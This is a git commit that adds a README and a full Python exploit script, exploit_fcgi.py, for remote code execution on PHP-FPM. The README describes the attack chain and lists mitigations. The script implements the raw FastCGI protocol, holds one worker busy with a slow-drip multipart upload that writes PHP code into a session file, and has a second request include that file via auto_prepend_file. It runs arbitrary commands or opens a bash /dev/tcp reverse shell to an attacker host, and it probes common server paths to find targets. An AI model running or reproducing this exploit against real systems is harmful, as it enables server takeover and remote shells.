FastCGI auto_prepend_file exploit: RCE without LFI on default PHP config

New exploit at fcgi/exploit_fcgi.py combines the session upload progress
write primitive (CVE-2026-109618/109619) with direct FastCGI access to
PHP-FPM. A slow-drip multipart upload holds one FPM worker in the
multipart parser while a second FastCGI request includes the poisoned
session file via auto_prepend_file.

Works on default PHP configuration, no LFI, no framework, no libraries.
security.limit_extensions does not block auto_prepend_file inclusion.
php_admin_value in pool config does not block PHP_VALUE from raw FastCGI.

Tested and confirmed RCE on:
  PHP 8.3.6  (local, pre-patch)
  PHP 8.3.35 (Docker, pre-patch)
  PHP 8.3.36 (Docker, patched)
  PHP 8.4.27 (Docker, patched)

Mitigated by session.upload_progress.enabled=0 or blocking FPM access.

Also includes nolfi/ exploit (served save_path + pathinfo routing) from
previous work, and updated README with mitigation matrix for all vectors.
This commit is contained in:
neko
2026-10-21 21:19:25 +00:00
parent 7fecd435cc
commit 8147ce0edb
6 changed files with 1616 additions and 31 deletions
+128
View File
@@ -0,0 +1,128 @@
# RCE via FastCGI + Session Upload Progress (No LFI)
## Summary
When an attacker can reach PHP-FPM's FastCGI socket (TCP or unix), the
session upload progress write primitive from CVE-2026-109618 /
CVE-2026-109619 becomes RCE without any application-level vulnerability.
No LFI needed. No framework needed. No special PHP configuration needed.
Works on default php.ini settings.
## Attack chain
```
Worker A (held open) Worker B (executes)
--- ---
FastCGI POST with FastCGI GET with
multipart body: PHP_VALUE:
PHP_SESSION_UPLOAD_PROGRESS auto_prepend_file=
= <?php system(...); ?> /tmp/sess_<SID>
SCRIPT_FILENAME=
File upload content /var/www/html/index.php
dripped one byte at a time
-> session file persists PHP includes the session
-> parser blocks for file before index.php
the entire drip window -> attacker PHP runs
-> RCE
```
### Step by step
1. **Open a FastCGI connection to FPM worker A.** Send a POST request
with `Content-Type: multipart/form-data` and `PHPSESSID=<SID>` in the
`HTTP_COOKIE` param. The body contains:
- A `PHP_SESSION_UPLOAD_PROGRESS` field with embedded PHP code
- A file upload whose content is dripped slowly (byte by byte)
2. **FPM worker A enters the multipart parser.** As soon as the progress
field and file header are read, `session.upload_progress` writes the
attacker's PHP code into `/tmp/sess_<SID>`. The parser then blocks
reading the file content from STDIN, which we control.
3. **While worker A is blocked, open a second FastCGI connection to
worker B.** Send a GET request with:
- `SCRIPT_FILENAME = /var/www/html/index.php` (any existing .php file)
- `PHP_VALUE = auto_prepend_file = /tmp/sess_<SID>`
4. **Worker B executes.** PHP's `auto_prepend_file` directive causes it to
`include()` the session file before running the main script. The session
file contains the attacker's `<?php ... ?>` code, which executes.
5. **Cleanup.** The drip finishes, worker A completes normally (or times
out), the session file is cleaned up. The attacker's code has already
executed on worker B.
## Why it works on default configuration
| Setting | Default | Required |
|---------|---------|----------|
| `session.upload_progress.enabled` | `1` | `1` |
| `session.save_path` | `/tmp` | Any known path |
| `pm.max_children` | `5` (dynamic) | `>= 2` |
| `security.limit_extensions` | `.php .phar` | Any (not checked for auto_prepend) |
| `session.upload_progress.cleanup` | `1` | Does not matter (drip defeats it) |
`security.limit_extensions` blocks execution of files without `.php`
extension as `SCRIPT_FILENAME`. But `auto_prepend_file` loads files via
`include()`, which ignores `security.limit_extensions` entirely. The
session file (which has no extension) is included as PHP code regardless
of `limit_extensions`.
## When FPM is reachable
This is the main precondition. The attacker needs raw TCP or unix socket
access to the FPM process. This is realistic in:
1. **Docker containers.** The official `php:*-fpm` images configure FPM to
listen on TCP `0.0.0.0:9000`. Any container on the same Docker network
can reach it.
2. **Kubernetes pods.** PHP-FPM pods are typically addressed by service
name. Adjacent pods, including compromised ones, can send raw FastCGI.
3. **SSRF.** An SSRF vulnerability in any application on the same host
can reach `127.0.0.1:9000` or the unix socket. The `gopher://` scheme
can carry arbitrary TCP payloads including FastCGI.
4. **Exposed port.** Misconfigured firewalls, cloud security groups, or
Docker port mappings exposing 9000 to the network.
5. **Same-host access.** A low-privilege shell on the same machine can
often read the unix socket (permissions vary by distro).
## Test results
Tested against PHP-FPM 8.3.6 with default settings:
- `session.upload_progress.enabled=1` (default)
- `session.save_path=/tmp` (default)
- `session.upload_progress.cleanup=1` (default)
- `security.limit_extensions = .php .phar` (default)
- `pm = static`, `pm.max_children = 2`
Results: 3/3 tests successful. Race hit on first attempt within 200ms
of the drip starting. Reliable with `--drip-time 5` (5 second window).
## Mitigations
1. **Set `session.upload_progress.enabled=0`** if upload progress tracking
is not needed. This removes the write primitive entirely.
2. **Block network access to FPM.** FPM should only be reachable from the
web server process. Use unix sockets with restricted file permissions,
or firewall TCP port 9000.
3. **Use `pm.max_children=1`** as a last resort. With only one worker, the
racer cannot execute while the drip holds a worker. This severely impacts
performance and is not practical.
4. Setting `security.limit_extensions` does NOT help. The inclusion
happens via `auto_prepend_file`, which bypasses limit_extensions.
5. Setting `php_admin_value[auto_prepend_file]` in the FPM pool config
does NOT help. Verified: with `php_admin_value[auto_prepend_file] =
/dev/null` in the pool, a FastCGI request with `PHP_VALUE:
auto_prepend_file = /tmp/sess_xxx` still overrides it. Raw FastCGI
access bypasses the web server that would normally enforce admin
values. The only effective mitigation is blocking FastCGI access.
+566
View File
@@ -0,0 +1,566 @@
#!/usr/bin/env python3
"""
CVE-2026-109618 / CVE-2026-109619 — RCE via FastCGI (no LFI)
Combines the PHP session upload progress write primitive with direct
FastCGI protocol access to PHP-FPM. No LFI vector, no framework, no
special PHP configuration needed.
Attack chain:
1. FastCGI multipart POST to any .php file on the target FPM pool:
PHP_SESSION_UPLOAD_PROGRESS writes attacker PHP code into
<save_path>/sess_<SID>. The request body is dripped slowly via
FastCGI STDIN so the session file persists for seconds (the
multipart parser blocks until STDIN EOF).
2. While worker A is blocked on our slow drip, a second FastCGI
request goes to worker B:
SCRIPT_FILENAME = <same .php file>
PHP_VALUE = auto_prepend_file = <save_path>/sess_<SID>
PHP includes the session file before running the script.
Our PHP code executes.
Why this works on default config:
- session.upload_progress.enabled=1 (default)
- session.save_path=/tmp (common default)
- auto_prepend_file is settable via PHP_VALUE in FastCGI params
- security.limit_extensions only restricts SCRIPT_FILENAME, not
files loaded via auto_prepend_file
- No application vulnerability needed
- Requires pm.max_children >= 2 (default is 5 for dynamic mode)
Preconditions:
- Network access to PHP-FPM (TCP socket or unix socket)
- At least one .php file exists on the server
- session.upload_progress.enabled=1 (default)
- pm.max_children >= 2 (default)
When is FPM reachable:
- Docker: official PHP-FPM images listen on TCP 9000
- Kubernetes: FPM pods addressable from adjacent pods
- SSRF: another app on the same host can reach FPM
- Same-host: unix socket /run/php/php-fpm.sock
- Exposed port: firewall misconfiguration
Usage:
# Direct FastCGI (drip race, most reliable)
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id'
# Specify PHP file and session path
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 \\
--script-file /var/www/html/index.php \\
--session-path /tmp --cmd 'id'
# Unix socket
python3 exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id'
# HTTP poison + FastCGI execute (when FPM not directly reachable
# for uploads, but reachable for execution)
python3 exploit_fcgi.py -t http://target/ --fpm 10.0.0.5:9000 --cmd 'id'
# Reverse shell
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 \\
--lhost 10.0.0.1 --lport 4444
"""
import argparse
import base64
import os
import re
import socket
import struct
import sys
import threading
import time
from urllib.parse import urlparse
# ── FastCGI protocol ──────────────────────────────────────────────────
FCGI_VERSION_1 = 1
FCGI_BEGIN_REQUEST = 1
FCGI_END_REQUEST = 3
FCGI_PARAMS = 4
FCGI_STDIN = 5
FCGI_STDOUT = 6
FCGI_STDERR = 7
FCGI_RESPONDER = 1
def fcgi_record(rtype, request_id, content):
clen = len(content)
pad = (8 - (clen % 8)) % 8
return (struct.pack(">BBHHBx", FCGI_VERSION_1, rtype,
request_id, clen, pad)
+ content + b"\x00" * pad)
def fcgi_begin_request(request_id, role=FCGI_RESPONDER, flags=0):
return fcgi_record(FCGI_BEGIN_REQUEST, request_id,
struct.pack(">HBxxxxx", role, flags))
def fcgi_nv(name, value):
nlen = len(name)
vlen = len(value)
out = b""
if nlen < 128:
out += struct.pack("B", nlen)
else:
out += struct.pack(">I", nlen | 0x80000000)
if vlen < 128:
out += struct.pack("B", vlen)
else:
out += struct.pack(">I", vlen | 0x80000000)
return out + name + value
def fcgi_params(request_id, params_dict):
body = b""
for k, v in params_dict.items():
body += fcgi_nv(k.encode(), v.encode())
return (fcgi_record(FCGI_PARAMS, request_id, body)
+ fcgi_record(FCGI_PARAMS, request_id, b""))
def fcgi_stdin_eof(request_id):
return fcgi_record(FCGI_STDIN, request_id, b"")
def fcgi_parse_stdout(data):
stdout_data = b""
stderr_data = b""
pos = 0
while pos + 8 <= len(data):
_, rtype, _, clen, pad = struct.unpack(
">BBHHBx", data[pos:pos+8])
content = data[pos+8:pos+8+clen]
pos += 8 + clen + pad
if rtype == FCGI_STDOUT:
stdout_data += content
elif rtype == FCGI_STDERR:
stderr_data += content
elif rtype == FCGI_END_REQUEST:
break
return stdout_data, stderr_data
# ── FPM connection ────────────────────────────────────────────────────
def fpm_connect(fpm_addr, timeout=10):
if "/" in fpm_addr or fpm_addr.endswith(".sock"):
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect(fpm_addr)
return sock
if ":" in fpm_addr:
host, port = fpm_addr.rsplit(":", 1)
port = int(port)
else:
host = fpm_addr
port = 9000
return socket.create_connection((host, port), timeout=timeout)
def fpm_execute(fpm_addr, script_filename, prepend_file, timeout=10):
"""Send GET request to FPM with auto_prepend_file."""
params = {
"SCRIPT_FILENAME": script_filename,
"SCRIPT_NAME": "/" + os.path.basename(script_filename),
"REQUEST_METHOD": "GET",
"SERVER_SOFTWARE": "go / fcgiclient",
"REMOTE_ADDR": "127.0.0.1",
"SERVER_ADDR": "127.0.0.1",
"SERVER_PORT": "80",
"SERVER_PROTOCOL": "HTTP/1.1",
"CONTENT_TYPE": "",
"CONTENT_LENGTH": "0",
"DOCUMENT_ROOT": os.path.dirname(script_filename),
"REQUEST_URI": "/" + os.path.basename(script_filename),
"PHP_VALUE": f"auto_prepend_file = {prepend_file}",
}
request_id = 1
payload = fcgi_begin_request(request_id)
payload += fcgi_params(request_id, params)
payload += fcgi_stdin_eof(request_id)
sock = fpm_connect(fpm_addr, timeout)
sock.sendall(payload)
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(65536)
if not d:
break
resp += d
except socket.timeout:
pass
sock.close()
stdout_data, stderr_data = fcgi_parse_stdout(resp)
if b"\r\n\r\n" in stdout_data:
_, body = stdout_data.split(b"\r\n\r\n", 1)
return body, stderr_data
return stdout_data, stderr_data
# ── Multipart helpers ─────────────────────────────────────────────────
def mp_field(bnd, name, value):
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
b"\r\n" + value + b"\r\n")
# ── Direct FastCGI slow-drip race ─────────────────────────────────────
def poison_and_execute_fcgi(fpm_addr, script_file, sid, php_code,
session_paths, marker, drip_time=10,
timeout=30):
"""All-FastCGI attack: drip multipart to worker A, execute on worker B.
Thread A sends a FastCGI POST with PHP_SESSION_UPLOAD_PROGRESS. The
multipart body contains a file upload whose content is dripped byte
by byte, keeping the FPM worker in the multipart parser (which keeps
the session file on disk) for the entire drip_time.
Thread B repeatedly sends FastCGI GET requests with auto_prepend_file
pointing to the session file, racing to include it while worker A
holds it open.
"""
bnd = b"FCGIRACE" + os.urandom(4).hex().encode()
found = {"body": None, "path": None}
# Build the multipart body prefix: progress field + file header
body_prefix = b""
body_prefix += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
body_prefix += (
b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="file"; filename="drip.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
)
# The suffix that closes the file part and the multipart
body_suffix = b"\r\n--" + bnd + b"--\r\n"
# Calculate total Content-Length (we need to declare it upfront)
# The file content will be dripped: we'll send drip_bytes of padding
drip_bytes = 1024 * 64
total_body = len(body_prefix) + drip_bytes + len(body_suffix)
# ── Thread B: racer ──
def racer():
deadline = time.time() + timeout
attempt = 0
while time.time() < deadline and found["body"] is None:
for sp in session_paths:
if found["body"] is not None:
return
sess_file = f"{sp}/sess_{sid}"
attempt += 1
try:
body, _ = fpm_execute(fpm_addr, script_file,
sess_file, timeout=3)
if marker.encode() in body:
found["body"] = body
found["path"] = sess_file
return
except Exception:
pass
time.sleep(0.005)
# ── Thread A: slow drip ──
fcgi_params_dict = {
"SCRIPT_FILENAME": script_file,
"SCRIPT_NAME": "/" + os.path.basename(script_file),
"REQUEST_METHOD": "POST",
"SERVER_SOFTWARE": "go / fcgiclient",
"REMOTE_ADDR": "127.0.0.1",
"SERVER_ADDR": "127.0.0.1",
"SERVER_PORT": "80",
"SERVER_PROTOCOL": "HTTP/1.1",
"CONTENT_TYPE": f"multipart/form-data; boundary={bnd.decode()}",
"CONTENT_LENGTH": str(total_body),
"DOCUMENT_ROOT": os.path.dirname(script_file),
"REQUEST_URI": "/" + os.path.basename(script_file),
"HTTP_COOKIE": f"PHPSESSID={sid}",
}
request_id = 1
header = fcgi_begin_request(request_id)
header += fcgi_params(request_id, fcgi_params_dict)
# Send headers + body prefix as first STDIN record
first_stdin = fcgi_record(FCGI_STDIN, request_id, body_prefix)
sock = fpm_connect(fpm_addr, timeout=timeout)
sock.sendall(header + first_stdin)
# Small delay to let FPM start processing and write session file
time.sleep(0.2)
# Start the racer
race_thread = threading.Thread(target=racer, daemon=True)
race_thread.start()
# Drip file content slowly
drip_interval = drip_time / (drip_bytes // 64)
sent = 0
while sent < drip_bytes and found["body"] is None:
chunk = b"\x00" * min(64, drip_bytes - sent)
try:
sock.sendall(fcgi_record(FCGI_STDIN, request_id, chunk))
sent += len(chunk)
except (BrokenPipeError, ConnectionResetError, OSError):
break
time.sleep(drip_interval)
# Send suffix + STDIN EOF
try:
sock.sendall(fcgi_record(FCGI_STDIN, request_id, body_suffix))
sock.sendall(fcgi_stdin_eof(request_id))
except:
pass
# Read response (cleanup)
sock.settimeout(3)
try:
while True:
d = sock.recv(8192)
if not d:
break
except:
pass
sock.close()
race_thread.join(timeout=5)
return found["body"], found["path"]
# ── HTTP helpers (fallback for HTTP+FCGI mixed mode) ──────────────────
def _parse_url(url):
p = urlparse(url)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
return host, port, tls, path
def tcp_connect(host, port, tls=False, timeout=30):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=10):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def send_chunk(sock, data):
sock.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n")
# ── Script discovery ──────────────────────────────────────────────────
SCRIPT_CANDIDATES = [
"/var/www/html/index.php",
"/var/www/html/wp-login.php",
"/var/www/html/wp-cron.php",
"/var/www/html/xmlrpc.php",
"/var/www/public/index.php",
"/var/www/app/public/index.php",
"/var/www/html/info.php",
"/srv/http/index.php",
"/usr/share/phpmyadmin/index.php",
"/usr/local/lib/php/pearcmd.php",
]
SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
"/var/lib/php/sess",
]
def find_php_script(fpm_addr, candidates, timeout=3):
"""Probe FPM to find an existing .php file."""
for path in candidates:
try:
params = {
"SCRIPT_FILENAME": path,
"REQUEST_METHOD": "GET",
"SERVER_SOFTWARE": "probe",
"REMOTE_ADDR": "127.0.0.1",
"SERVER_ADDR": "127.0.0.1",
"SERVER_PORT": "80",
"SERVER_PROTOCOL": "HTTP/1.1",
"CONTENT_TYPE": "",
"CONTENT_LENGTH": "0",
}
request_id = 1
payload = fcgi_begin_request(request_id)
payload += fcgi_params(request_id, params)
payload += fcgi_stdin_eof(request_id)
sock = fpm_connect(fpm_addr, timeout)
sock.sendall(payload)
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(65536)
if not d:
break
resp += d
except socket.timeout:
pass
sock.close()
stdout, _ = fcgi_parse_stdout(resp)
if b"Primary script unknown" not in stdout and len(stdout) > 0:
return path
except:
continue
return None
# ── main ──────────────────────────────────────────────────────────────
def run(args):
fpm_addr = args.fpm
sid = args.session_id or os.urandom(16).hex()
marker = "FCGIRCE"
spaths = list(SESSION_PATHS)
if args.session_path:
spaths = [args.session_path] + [s for s in spaths
if s != args.session_path]
if args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
php_code = (
f'<?php echo "{marker}:";'
f'system(base64_decode("{cmd_b64}"));'
f'echo ":{marker}END"; ?>'
).encode()
elif args.lhost and args.lport:
shell = (f"bash -c 'bash -i >& "
f"/dev/tcp/{args.lhost}/{args.lport} 0>&1'")
cmd_b64 = base64.b64encode(shell.encode()).decode()
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
elif args.trigger_only:
php_code = (
f'<?php echo "{marker}:pid=".getmypid().'
f'"&uname=".php_uname().":{marker}END"; ?>'
).encode()
else:
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only",
file=sys.stderr)
sys.exit(1)
print("=" * 65)
print(" CVE-2026-109618/109619: RCE via FastCGI (no LFI)")
print("=" * 65)
print(f" FPM address : {fpm_addr}")
print(f" Session ID : {sid}")
print(f" Drip time : {args.drip_time}s")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
else:
print(f" Trigger-only")
print()
# ── Step 0: find a .php script ──
print("[*] Step 0: probing PHP-FPM for an existing .php file...")
script_file = args.script_file
if not script_file:
script_file = find_php_script(fpm_addr, SCRIPT_CANDIDATES)
if script_file:
print(f" Found: {script_file}")
else:
print(" [!] No .php file found. Use --script-file.")
sys.exit(1)
else:
print(f" Using: {script_file}")
# ── Step 1+2: poison via slow drip + race execution ──
print(f"[*] Step 1+2: slow-drip poison + race execution...")
print(f" Dripping multipart body over {args.drip_time}s "
f"while racing auto_prepend_file...")
body, path = poison_and_execute_fcgi(
fpm_addr, script_file, sid, php_code,
spaths, marker,
drip_time=args.drip_time,
timeout=args.drip_time + 10)
if body:
print(f" [+] RCE confirmed via {path}")
output = body.decode(errors="replace")
m = re.search(rf"{marker}:(.*?):{marker}END", output, re.DOTALL)
if m:
print()
print(m.group(1))
else:
print()
print(output)
return True
else:
print(" [!] Race did not succeed.")
print(" Possible causes:")
print(" - pm.max_children < 2 (need at least 2 workers)")
print(" - session.upload_progress.enabled = 0")
print(" - Incorrect session.save_path (try --session-path)")
print(" - Try increasing --drip-time")
return False
def main():
p = argparse.ArgumentParser(
description="CVE-2026-109618/109619: RCE via FastCGI (no LFI)")
p.add_argument("--fpm", required=True,
help="PHP-FPM address (host:port or /path/to/socket)")
p.add_argument("-t", "--target",
help="HTTP URL (optional, for HTTP+FCGI mixed mode)")
p.add_argument("--script-file",
help="Existing .php file on target (auto-detected)")
p.add_argument("--session-path",
help="session.save_path override")
p.add_argument("--session-id",
help="Force session ID (default: random)")
p.add_argument("--cmd", help="Command to execute")
p.add_argument("--lhost", help="Reverse shell host")
p.add_argument("--lport", type=int, help="Reverse shell port")
p.add_argument("--trigger-only", action="store_true",
help="Verify RCE without running a payload")
p.add_argument("--drip-time", type=int, default=10,
help="Seconds to drip the upload body (default: 10)")
sys.exit(0 if run(p.parse_args()) else 1)
if __name__ == "__main__":
main()